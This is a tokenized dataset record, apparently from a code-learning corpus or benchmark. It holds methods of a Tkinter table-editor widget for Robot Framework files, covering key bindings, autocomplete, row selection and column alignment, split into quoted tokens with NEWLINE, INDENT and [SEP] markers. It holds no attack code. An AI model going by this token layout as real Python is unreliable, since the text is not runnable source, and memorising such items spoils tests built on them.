"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "pipe", "\\u", "splitter", " ", "=", " ", "re", ".", "compile", "('", " ", "\\\\|", "(?=", " ", ")'", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "text", ".", "ends", "with", "('", " ", "|", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "text", " ", "=", " ", "text", "[", "1", ":-", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return", " ", "[", "x", ".", "strip", "()", " ", "for", " ", "x", " ", "in", " ", "pipe", "\\u", "splitter", ".", "split", "(", "text", ")]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\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"\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tk_", "._", "Text_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "font_", "=_", "self_", "._", "cg", "et_", "(_", "\"", "font", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "dte", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tmp", "var_", "=_", "Qui", "et", "Int", "Var_", "(_", "master_", "=_", "self_", ",_", "name_", "=_", "\":", ":\\u", "\\u", "count", "x", "\\u\\u\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "tmp", "var", " ", "=", " ", "tk", ".", "Int", "Var", "(", "master", "=", "self", ",", " ", "name", "=\"", "::", "\\u\\u", "count", "x", "\\u\\u\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "special", " ", "bind", " ", "tag", " ", "bef", "ore", " ", "the", " ", "class", " ", "bindi", "ng", " ", "so", " ", "we", " ", "can_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pree", "mpt", " ", "the", " ", "default", " ", "bindi", "ngs", " ", "whe", "n", " ", "the", " ", "completion", " ", "window", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "visi", "ble", " ", "(", "eg", ":", " ", "up", " ", "and", " ", "down", " ", "arrows", " ", "will", " ", "affect", " ", "the", " ", "selection", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "dropdown", " ", "list", " ", "rat", "her", " ", "than", " ", "the", " ", "cursor", " ", "position", ")_", "\\u\\u\\uNL\\u\\u\\u_", "bind", "tags_", "=_", "self_", "._", "bind", "tags_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "bind", "tags_", "=_", "tuple_", "(_", "[_", "bind", "tags_", "[_", "0_", "]_", ",_", "\"", "Completi", "on", "\"_", "]_", "+_", "list_", "(_", "bind", "tags_", "[_", "1_", ":_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "tags_", "(_", "new", "\\u", "bind", "tags_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Control", "-", "space", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "autocomplete", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Esc", "ape", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "escape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Key", "-", "Down", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Key", "-", "Up", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "up_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Any", "-", "Key", "-", "Return", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "return_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "Tab", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "tab_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind", "\\u", "class_", "(_", "\"", "Completi", "on", "\"_", ",_", "\"<", "1", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "click_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "Control", "-", "w", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "select", "\\u", "block_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "shou", "ld", " ", "these", " ", "be", " ", "in", " ", "the", " ", "caller", "?", " ", "The", "y", " ", "are", " ", "robot", "-", "specific_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "but", " ", "my", " ", "long", " ", "term", " ", "goal", " ", "is", " ", "for", " ", "this", " ", "widget", " ", "to", " ", "be", " ", "some", "what_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "generic_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "{", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "brace", "\\u", "open_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "|", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "pipe_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "Tab", ">\"_", ",_", "self_", "._", "on", "\\u", "tab_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "Triple", "-1", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "triple", "\\u", "click_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "Control", "-", "Return", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "control", "\\u", "enter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "Control", "-\\\\\\\\", ">\"_", ",_", "self_", "._", "\\u", "on", "\\u", "expand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<<", "Past", "e", ">>", "\"_", ",_", "self_", "._", "\\u", "on", "\\u", "paste_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", " ", "idea", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "double", "-1", ":", " ", "if", " ", "insi", "de", " ", "a", " ", "variab", "le", ",", " ", "select", " ", "only", " ", "the", " ", "word", " ", "not", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whole", " ", "cell_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", " ", "or", " ", "tab", ":", " ", "if", " ", "in", " ", "table", " ", "name", " ", "(", "ie", ",", " ", "inb", "et", "ween", " ", "***", " ", "and", " ", "***", "),", " ", "move_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "the", " ", "next", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "tag", "\\u", "configure_", "(_", "\"", "current", "\\u", "line", "\"_", ",_", "background_", "=_", "\"#", "f2", "f2", "f2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "raise_", "(_", "\"", "sel", "\"_", ",_", "\"", "current", "\\u", "line", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sinc", "e", " ", "we", " ", "automati", "call", "y", " ", "add", " ", "a", " ", "space", " ", "after", " ", "an", " ", "inserted", " ", "pipe", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "want", " ", "to", " ", "ignore", " ", "a", " ", "space", " ", "tha", "t", " ", "immediate", "ly", " ", "follow", "s", " ", "since_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", "'", "s", " ", "easy", " ", "to", " ", "think", " ", "\"", "I", " ", "need", " ", "a", " ", "pipe", " ", "and", " ", "a", " ", "space", "\".", " ", "With", "out", " ", "this_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "wou", "ld", " ", "end", " ", "up", " ", "with", " ", "two", " ", "space", "s", ",", " ", "negati", "ng", " ", "any", " ", "gain", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "automati", "call", "y", " ", "addin", "g", " ", "one_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "bind_", "(_", "\"<", "|", "><", "space", ">\"_", ",_", "lambda_", "event_", ":_", "\"", "break", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "stu", "ff", " ", "is", " ", "relate", "d", " ", "to", " ", "auto", "-", "complete_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "complete", "\\u", "frame_", "=_", "ttk_", "._", "Frame_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "=_", "tk_", "._", "Listbox", "_", "(_", "self_", "._", "complete", "\\u", "frame_", ",_", "width_", "=_", "30_", ",_", "height_", "=_", "8_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "border", "width_", "=_", "1_", ",_", "relief_", "=_", "\"", "solid", "\"_", ",_", "export", "selection_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "pack_", "(_", "side_", "=_", "\"", "top", "\"_", ",_", "fill_", "=_", "\"", "bot", "h", "\"_", ",_", "expand_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "hooks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "post", "\\u", "change", "\\u", "hook_", "=_", "self_", "._", "register_", "(_", "self_", "._", "\\u", "post", "\\u", "change", "\\u", "hook_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widget_", "=_", "str_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tk_", "._", "eval_", "(_", "tcl", "_", "._", "CREATE", "\\u", "WID", "GET", "\\u", "PROX", "Y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tk_", "._", "eval_", "(_", "'''", "\\", "10", ";", " ", " ", " ", " ", "rename", " ", "{", "widget", "}", " ", "\\u{", "widget", "}", "\\", "10", ";", " ", " ", " ", " ", "interp", " ", "alias", " ", "{{", "}}", " ", "::", "{", "widget", "}", " ", "{{", "}}", " ", "widget", "\\u", "proxy", " ", "\\u{", "widget", "}", " ", "{", "post", "\\u", "change", "\\u", "hook", "}", "\\", "10", ";", " ", " ", " ", " ", "'''_", "._", "format_", "(_", "widget_", "=_", "widget_", ",_", "post", "\\u", "change", "\\u", "hook_", "=_", "post", "\\u", "change", "\\u", "hook_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "last", "\\u", "current", "\\u", "cell", "\\u", "start_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "current", "\\u", "row", "\\u", "number_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "index_", "(_", "\"", "insert", "\"_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "start", "\\u", "of", "\\u", "statement_", "(_", "self_", ",_", "index_", "=_", "\"", "insert", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Thi", "s", " ", "can", " ", "be", " ", "overrid", "den", " ", "by", " ", "a", " ", "subclass", " ", "to", " ", "do", " ", "somet", "hing", " ", "more", " ", "interesting", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ",", " ", "whe", "n", " ", "buildi", "ng", " ", "an", " ", "editor", " ", "for", " ", "a", " ", "robot", "frame", "work", " ", "test", "\\", "10", ";", " ", " ", " ", " ", "case", ",", " ", "it", " ", "coul", "d", " ", "look", " ", "up", " ", "for", " ", "the", " ", "first", " ", "line", " ", "tha", "t", " ", "is", " ", "not", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "continuation", " ", "line", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "index_", "(_", "\"%", "s", " ", "linest", "art", "\"_", "%_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "find", "\\u", "end", "\\u", "of", "\\u", "statement_", "(_", "self_", ",_", "index_", "=_", "\"", "insert", "\"_", ",_", "mark_", "=_", "\"", "w", "00", "t", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Thi", "s", " ", "can", " ", "be", " ", "overrid", "den", " ", "by", " ", "a", " ", "subclass", " ", "to", " ", "do", " ", "somet", "hing", " ", "more", " ", "interesting", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", ",", " ", "whe", "n", " ", "buildi", "ng", " ", "an", " ", "editor", " ", "for", " ", "a", " ", "robot", "frame", "work", " ", "test", "\\", "10", ";", " ", " ", " ", " ", "case", ",", " ", "it", " ", "coul", "d", " ", "look", " ", "down", " ", "for", " ", "addition", "al", " ", "continuation", " ", "lines", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "index_", "(_", "\"%", "s", " ", "line", "end", "\"_", "%_", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "row", "\\u", "number_", "(_", "self_", ",_", "index_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "the", " ", "row", " ", "number", " ", "for", " ", "a", " ", "give", "n", " ", "index", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linenum_", "=_", "int_", "(_", "self_", "._", "index_", "(_", "index_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "linenum_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "completion", "\\u", "choices_", "(_", "self_", ",_", "choices_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "list_", "._", "delete_", "(_", "0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "string_", "in_", "choices_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "list_", "._", "insert_", "(_", "\"", "end", "\"_", ",_", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "list_", "._", "selection", "\\u", "set_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "repos", "ition", "\\u", "choices_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "configure_", "(_", "height_", "=_", "min_", "(_", "len_", "(_", "choices_", ")_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "autocomplete", "\\u", "string_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "get_", "(_", "\"", "current", "\\u", "cell", ".", "first", "\"_", ",_", "\"", "current", "\\u", "cell", ".", "last", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "WT", "F", "?\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "selecte", "d\\u", "rows_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "all", " ", "of", " ", "the", " ", "data", " ", "for", " ", "all", " ", "lines", " ", "tha", "t", " ", "contain", " ", "the", " ", "selection", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "data", " ", "is", " ", "return", "ed", " ", "as", " ", "a", " ", "list", " ", "of", " ", "lists", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "first", "\\u", "linenum_", "=_", "int_", "(_", "self_", "._", "index_", "(_", "\"", "sel", ".", "first", "\"_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "linenum_", "=_", "int_", "(_", "self_", "._", "index_", "(_", "\"", "sel", ".", "last", "\"_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "self_", "._", "get", "\\u", "row_", "(_", "linenum_", ")_", "for_", "linenum_", "in_", "range_", "(_", "first", "\\u", "linenum_", ",_", "last", "\\u", "linenum_", "+_", "1_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log_", "._", "debug_", "(_", "str_", "(_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compress", "\\u", "columns_", "(_", "self_", ",_", "anchor_", "=_", "\"", "insert", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Remove", " ", "lead", "ing", " ", "and", " ", "trail", "ing", " ", "whitespace", " ", "from", " ", "each", " ", "column", " ", "in", " ", "the", " ", "selecte", "d", " ", "range", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "operate", "s", " ", "on", " ", "whole", " ", "rows", ",", " ", "even", " ", "if", " ", "only", " ", "a", " ", "partial", " ", "row", " ", "is", " ", "selecte", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "linenum", "ber_", "=_", "self_", "._", "index_", "(_", "anchor_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "=_", "self_", "._", "get", "\\u", "selecte", "d\\u", "rows_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row_", "=_", "[_", "cell_", "._", "strip_", "(_", ")_", "for_", "cell_", "in_", "row_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "._", "append_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "replace", "\\u", "selecte", "d\\u", "rows_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "align", "\\u", "columns_", "(_", "self_", ",_", "anchor_", "=_", "\"", "insert", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Give", " ", "each", " ", "column", " ", "in", " ", "the", " ", "selecte", "d", " ", "range", " ", "the", " ", "same", " ", "widt", "h", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rows_", "=_", "self_", "._", "get", "\\u", "selecte", "d\\u", "rows_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "\\u", "size_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", ",_", "col_", "in_", "enumerate_", "(_", "row_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "\\u", "size_", "[_", "i_", "]_", "=_", "max_", "(_", "col", "\\u", "size_", "._", "get_", "(_", "i_", ",_", "0_", ")_", ",_", "len_", "(_", "col_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ncols_", "=_", "len_", "(_", "col", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", "in_", "rows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", ",_", "col_", "in_", "enumerate_", "(_", "row_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row_", "[_", "i_", "]_", "=_", "col_", "._", "ljust_", "(_", "col", "\\u", "size_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "._", "append_", "(_", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "replace", "\\u", "selecte", "d\\u", "rows_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "convert", "\\u", "to", "\\u", "string_", "(_", "self_", ",_", "rows_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Convert", " ", "a", " ", "list", " ", "of", " ", "lists", " ", "int", "o", " ", "newline", "-", "separate", "d", ",", " ", 